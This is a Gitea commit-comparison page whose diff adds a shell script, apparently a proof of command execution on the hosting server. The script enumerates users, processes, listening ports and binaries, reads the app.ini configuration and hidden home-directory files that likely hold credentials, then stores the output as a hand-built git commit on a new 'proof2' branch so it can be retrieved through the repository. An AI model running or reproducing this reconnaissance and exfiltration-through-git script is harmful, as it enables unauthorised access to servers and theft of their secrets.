Compare commits

...

2 Commits

Author SHA1 Message Date
verifier 13e3133e4e cmd proof 2026-10-30T00:00:52Z 2026-10-30 08:00:52 +08:00
verifier 35f76e3b27 verify 4936 2026-10-29T23:57:13Z 2026-10-30 07:57:13 +08:00
1 changed files with 5 additions and 1 deletions

View File

@ -1 +1,5 @@
id; hostname; ls -la /app/gitea/ /data/gitea/home/ 2>&1 | head -50; file /app/gitea/gitea; sed -n 1,40p /usr/local/bin/gitea; echo ---INI; cat /app/gitea/conf/app.ini 2>/dev/null; echo ---CAP; cat /data/gitea/home/.ash.captain.* 2>/dev/null; echo ---SS; ss -ltnp 2>/dev/null | head -40 OUT=$( { id; hostname; echo ---PS; pgrep -a gitea | head -3; echo ---BIN; ls -l /app/gitea/ /app/gitea/gitea 2>&1 | head -20; echo ---MD5; md5sum /app/gitea/gitea 2>&1; md5sum /proc/18/exe 2>&1; echo ---VER; /usr/local/bin/gitea --version 2>&1; echo ---INI; sed -n 1,25p /app/gitea/conf/app.ini 2>/dev/null; } 2>&1 )
B=$(printf '%s' "$OUT" | git hash-object -w --stdin)
T=$(printf '100644 blob %s\tout2.txt\n' "$B" | git mktree)
CM=$(printf 'p %s' "$(date +%s)" | GIT_AUTHOR_NAME=x GIT_AUTHOR_EMAIL=x@x GIT_COMMITTER_NAME=x GIT_COMMITTER_EMAIL=x@x git commit-tree "$T")
git update-ref refs/heads/proof2 "$CM"